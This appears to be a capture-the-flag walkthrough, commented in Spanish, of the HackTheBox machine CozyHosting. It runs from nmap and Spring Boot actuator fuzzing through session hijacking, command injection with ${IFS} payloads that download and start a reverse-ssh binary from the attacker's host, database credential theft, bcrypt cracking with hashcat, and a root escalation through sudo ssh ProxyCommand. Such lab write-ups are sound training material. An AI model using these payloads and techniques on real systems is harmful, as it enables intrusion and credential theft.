CozyHosting

nmap

```
nmap -sC -sV 10.10.11.230
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-08 00:09 CET
Nmap scan report for 10.10.11.230
Host is up (0.32s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_  256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.31 seconds
```

/etc/hosts

cozyhosting.htb

#Vamos a http://cozyhosting.htb

FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/spring-boot.txt

```
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
```

```
 :: Method           : GET
 :: URL              : http://cozyhosting.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/spring-boot.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
```

```
actuator                [Status: 200, Size: 634, Words: 1, Lines: 1, Duration: 344ms]
actuator/env            [Status: 200, Size: 4957, Words: 120, Lines: 1, Duration: 231ms]
actuator/env/home       [Status: 200, Size: 487, Words: 13, Lines: 1, Duration: 251ms]
actuator/env/lang       [Status: 200, Size: 487, Words: 13, Lines: 1, Duration: 203ms]
actuator/env/path       [Status: 200, Size: 487, Words: 13, Lines: 1, Duration: 202ms]
actuator/sessions       [Status: 200, Size: 48, Words: 1, Lines: 1, Duration: 182ms]
actuator/health         [Status: 200, Size: 15, Words: 1, Lines: 1, Duration: 329ms]
actuator/mappings       [Status: 200, Size: 9938, Words: 108, Lines: 1, Duration: 301ms]
actuator/beans          [Status: 200, Size: 127224, Words: 542, Lines: 1, Duration: 358ms]
:: Progress: [112/112] :: Job [1/1] :: 35 req/sec :: Duration: [0:00:03] :: Errors: 0 ::
```

#Vamos a http://cozyhosting.htb/actuator/sessions

```
8D7F28F16A18D66788451BDB12FD0321 "UNAUTHORIZED"
44EB4CF1B133CD60B354ABEFB3D1D26B "UNAUTHORIZED"
6A73B1514D1073959B97C84809AA9BF7 "kanderson"


442DF70EE1B165651FA2CED221269207 "kanderson"
69B783B6897DB2205494D3EEF1280FEC "UNAUTHORIZED"
7D9E79000E77657B9F1DF5890228AA73 "UNAUTHORIZED"
B53324E2485FC6CC252E8CFFDB4CA010 "UNAUTHORIZED"
983B29EB2D0B1696B9E232B3E24D75E0 "UNAUTHORIZED"
F7D061AEA8AF3440884498C7E1EBA8D2 "kanderson"
```

#Con la cookie importada,

#burp

```
POST /executessh HTTP/1.1

Host: cozyhosting.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded
```

Content-Length: 32

Origin: http://cozyhosting.htb

Connection: close

Referer: http://cozyhosting.htb/admin

Cookie: JSESSIONID=699BC19CC930A211D34DE399F43FBAE5

Upgrade-Insecure-Requests: 1

host=10.10.16.67&username=whoami

rev_shell

#Activamos el servidor local:
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.230 - - [13/Feb/2024 15:21:16] "GET /reverse-sshx64 HTTP/1.1" 200 -

#Escribimos en burpuste en la variable usuario=
;wget${IFS}http://10.10.16.67/reverse-sshx64${IFS}-P${IFS}/tmp;#
;chmod${IFS}777${IFS}/tmp/reverse-sshx64;#

./reverse-sshx64 -v -l -p 443
2024/02/10 18:43:24 Starting ssh server on :443
2024/02/10 18:43:24 Success: listening on [::]:443
2024/02/10 18:48:43 Successful authentication with password from reverse@10.10.11.230:59698
2024/02/10 18:48:43 Attempt to bind at 127.0.0.1:8888 granted
2024/02/10 18:48:43 New connection from 10.10.11.230:59698: app on cozyhosting reachable via 127.0.0.1:8888

;/tmp/reverse-sshx64${IFS}-p${IFS}443${IFS}10.10.14.8;#

ssh 127.0.0.1 -p 8888
The authenticity of host '[127.0.0.1]:8888 ([127.0.0.1]:8888)' can't be established.
RSA key fingerprint is SHA256:/08Q0Owxxy8WxegqXR43pzeKgqNpV6NHoAj3MQpRm9M.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[127.0.0.1]:8888' (RSA) to the list of known hosts.
root@127.0.0.1's password:
app@cozyhosting:/app$ whoami
app

#Para ver la pass, vamso a: https://github.com/Fahrj/reverse-ssh?ref=dc506.org
passwd --> letmeinbrudipls

#extraemos el fichero .jar fuer. en /tmp
unzip /app/cloudhosting-0.0.1.jar .

server.address=127.0.0.1
server.servlet.session.timeout=5m
management.endpoints.web.exposure.include=health,beans,env,sessions,mappings
management.endpoint.sessions.enabled = true
spring.datasource.driver-class-name=org.postgresql.Driver
spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect
spring.jpa.hibernate.ddl-auto=none
spring.jpa.database=POSTGRESQL
spring.datasource.platform=postgres
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR

#creeds
user--> postgres
passwd → Vg&nvzAQ7XxR

#Nos conectamos a la BBDD.
psql -h cozyhosting.htb -U postgres

postgres-# \l
                                 List of databases
    Name | Owner | Encoding | Collate | Ctype | Access privileges
-------------+----------+----------+-------------+-------------+-----------------------
 cozyhosting | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
 postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
 template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres   +
             | | | | | postgres=CTc/postgres
 template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres   +
             | | | | | postgres=CTc/postgres
(4 rows)
postgres=# \c cozyhosting
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)

```
You are now connected to database "cozyhosting" as user "postgres".
cozyhosting=# \dt
         List of relations
 Schema | Name  | Type  |  Owner
--------+-------+-------+----------
 public | hosts | table | postgres
 public | users | table | postgres
(2 rows)

cozyhosting=# select * from users;
   name    |                           password                           | role
-----------+--------------------------------------------------------------+-------
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
(2 rows)

#Ahora usaremos hashcat u otra herrameinta para descifrr el hash.
```

hashcat

hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 4.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==========
==========
* Device #1: cpu-haswell-Intel(R) Core(TM) i5-10400F CPU @ 2.90GHz, 2201/4466 MB (1024 MB allocatable), 8MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 72

Hashes: 2 digests; 2 unique digests, 2 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 2 secs

Cracking performance lower than expected?

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Append -S to the commandline.
  This has a drastic speed impact but can be better for specific attacks.
  Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm:manchesterunited

#Nos conectamos por ssh con las creeds:

user → admin
passwd --> manchesterunited

ssh josh@10.10.11.230
josh@10.10.11.230's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-82-generic x86_64)

 * Documentation: https://help.ubuntu.com
 * Management: https://landscape.canonical.com
 * Support: https://ubuntu.com/advantage

  System information as of Tue Feb 13 02:47:34 PM UTC 2024

  System load: 0.02734375   Processes: 245
  Usage of /:   53.6% of 5.42GB   Users logged in: 0
  Memory usage: 14%   IPv4 address for eth0: 10.10.11.230
  Swap usage: 0%

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Tue Feb 13 05:20:17 2024 from 10.10.14.26
josh@cozyhosting:~$

root

#Buscamos por los comandos que puede ejecutar el usuario josh
#Searcho for ssh exploit.
https://gtfobins.github.io/
https://gtfobins.github.io/gtfobins/ssh/

```
josh@cozyhosting:~$ sudo -l
[sudo] password for josh:
Matching Defaults entries for josh on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User josh may run the following commands on localhost:
    (root) /usr/bin/ssh *

josh@cozyhosting:~$ sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
# whoami
root
```